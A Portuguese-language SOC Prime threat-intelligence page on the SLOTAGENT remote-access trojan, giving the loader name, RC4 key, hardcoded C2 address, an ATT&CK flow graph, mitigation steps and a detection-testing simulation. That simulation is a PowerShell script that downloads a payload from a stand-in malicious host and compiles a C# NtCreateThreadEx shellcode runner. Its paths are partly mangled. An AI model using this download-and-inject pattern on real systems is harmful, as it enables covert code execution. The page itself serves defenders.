SOC Prime Bias: Médio

29 Abr 2026 17:27

Novo Malware SLOTAGENT Suportando Execução de BOF Publicado

Author Photo
SOC Prime Team linkedin icon Seguir
Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A IIJ identificou um RAT multifuncional previamente desconhecido chamado SLOTAGENT dentro de um arquivo ZIP enviado para um repositório público. O malware suporta a execução de payloads Beacon Object File e inclui capacidades anti-forenses, como apagamento de carimbos de data/hora para dificultar a análise. Ele se comunica com um endpoint TCP codificado através de um protocolo personalizado que troca dados no formato JSON. O carregador depende de dados de configuração criptografados com RC4 e carregamento de DLL reflexivo para lançar o payload final.

Investigação

A análise estática mostrou que o executável do carregador, WindowsOobeAppHost.AOT.exe, resolve funções da API do Windows através de uma rotina de hash personalizada baseada no DJB2. Seu arquivo de configuração criptografado, db.config, é descriptografado com RC4 usando a chave easdbadshyfab e depois executado como shellcode contendo uma DLL codificada em XOR. Após o carregamento, o RAT conecta-se a 43.156.59.110:699 e processa comandos baseados em JSON que suportam funções, incluindo captura de tela, upload e download de arquivos e execução de BOF.

Mitigação

Os defensores devem detectar o endereço IP de comando e controle codificado e procurar por cadeias de caminho do tipo HTTP associadas ao tráfego de rede do malware. As regras YARA fornecidas no relatório devem ser implantadas para identificar tanto o carregador quanto os componentes RAT. As equipes de segurança também devem monitorar comportamentos suspeitos de hash de API e carregamento reflexivo de DLLs nos endpoints. A execução de arquivos EXE ou DLL não assinados e não confiáveis deve ser restrita sempre que possível.

Resposta

Se indicadores ligados ao SLOTAGENT forem detectados, isole imediatamente o host afetado, termine o processo malicioso e colete memória para exame forense. O endereço IP de comando e controle e as portas relacionadas devem ser bloqueadas na fronteira da rede. As organizações devem então realizar uma varredura completa pelos nomes de arquivos e hashes conhecidos e aplicar as assinaturas YARA publicadas nos sistemas de detecção de endpoints.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>Malware</b> – <b>Nome</b>: WindowsOobeAppHost.AOT.exe<br/><b>Técnica</b>: T1204.002 Execução do Usuário”] class malware_exe malware exec_hijack[“<b>Técnica</b> – <b>T1574 Sequestro do Fluxo de Execução</b>: Chama a função exportada __managed__Main”] class exec_hijack action api_resolve[“<b>Técnica</b> – <b>T1027.007 Arquivos Ofuscados/Armazenados: Desofuscar Arquivos</b>: Hashing XOR/ROR11 personalizado para resolver endereços de API”] class api_resolve action config_decrypt[“<b>Técnica</b> – <b>T1027.007</b>: Descriptografa a configuração com RC4”] class config_decrypt action dll_decrypt[“<b>Técnica</b> – <b>T1027.007</b>: Descriptografa DLL codificada com XOR (agent_tcp.dll)”] class dll_decrypt action reflective_load[“<b>Técnica</b> – <b>T1620 Carregamento Reflexivo de DLL</b>: Carrega a DLL na memória sem tocar o disco”] class reflective_load process process_injection[“<b>Técnica</b> – <b>T1055.009 Injeção de Processo: Sequestro de Execução de Thread</b>: Injeta a DLL refletida no processo”] class process_injection process c2_channel[“<b>Técnica</b> – <b>T1571 Porta Não Padrão</b> and <b>T1573 Canal Criptografado</b>: Estabelece C2 TCP para 43.156.59.110:699”] class c2_channel network host_info[“<b>Técnica</b> – <b>T1592.001 Identidade da Vítima: Versão do SO</b> and <b>T1592.002 Detalhes de Hardware</b>: Envia JSON com dados do sistema”] class host_info data proc_discovery[“<b>Técnica</b> – <b>T1057 Descoberta de Processos</b>: Enumera processos em execução”] class proc_discovery data file_discovery[“<b>Técnica</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b>: Lista arquivos e diretórios”] class file_discovery data screenshot_cap[“<b>Técnica</b> – <b>T1113 Captura de Tela</b>: Captura a tela do host”] class screenshot_cap data remote_shell[“<b>Técnica</b> – <b>T1059 Shell de Comando</b>: Executa comandos via shell remoto”] class remote_shell process bof_execution[“<b>Técnica</b> – <b>T1027.009 Payloads Incorporados</b> and <b>T1027.004 Compilar Após Entrega</b>: Executa módulos BOF”] class bof_execution process shared_modules[“<b>Técnica</b> – <b>T1129 Módulos Compartilhados</b>: Carrega módulos adicionais”] class shared_modules process file_transfer[“<b>Técnica</b> – <b>T1105 Transferência de Ferramentas</b>: Baixa e envia arquivos”] class file_transfer data proc_termination[“<b>Técnica</b> – <b>T1106 API Nativa</b>: Termina processos”] class proc_termination process sleep_manip[“<b>Técnica</b> – <b>T1027.004</b>: Manipula intervalos de espera para evitar análise”] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Teste de Pré-voo de Telemetria & Base deve ter sido aprovado.

  • Narrativa & Comandos do Ataque:

    O adversário obteve uma cópia do binário do carregador SLOTAGENT, o renomeou para WindowsOobeAppHost.AOT.exe para misturá-lo com processos OOBE legítimos, e o colocou em C:WindowsSystem32. O payload é armazenado em um blob criptografado no servidor do atacante. Usando PowerShell, o atacante baixa o blob criptografado, o descriptografa na memória e invoca a rotina reflexiva do carregador via NtCreateThreadEx. O carregador internamente chama NtCreateFile para ler recursos adicionais do blob criptografado e então usa carregamento reflexivo para executar a DLL maliciosa sem tocar no disco. Esta atividade produz um evento Sysmon ProcessCreate com o exato Nome da Imagem e uma CallTrace contendo as três strings definidas na regra.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de carregamento reflexivo SLOTAGENT (Windows)
    # -------------------------------------------------
    # 1. Definir caminhos
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Garantir que o carregador existe (cópia simulada do binário real)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Copiando carregador simulado para $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Download do payload criptografado (simulado)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Descriptografar payload na memória (substituto – descriptografia real omitida)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Invocar carregamento reflexivo via chamadas API nativas
    #    Isso usa um pequeno auxiliar C# compilado em tempo real que chama NtCreateThreadEx
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Limpar temporário
    Remove-Item $tempPayload -Force
  • Comandos de Limpeza:

    # Terminar qualquer processo de carregador restante
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remover o binário do carregador simulado
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Remover qualquer arquivo temporário residual
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue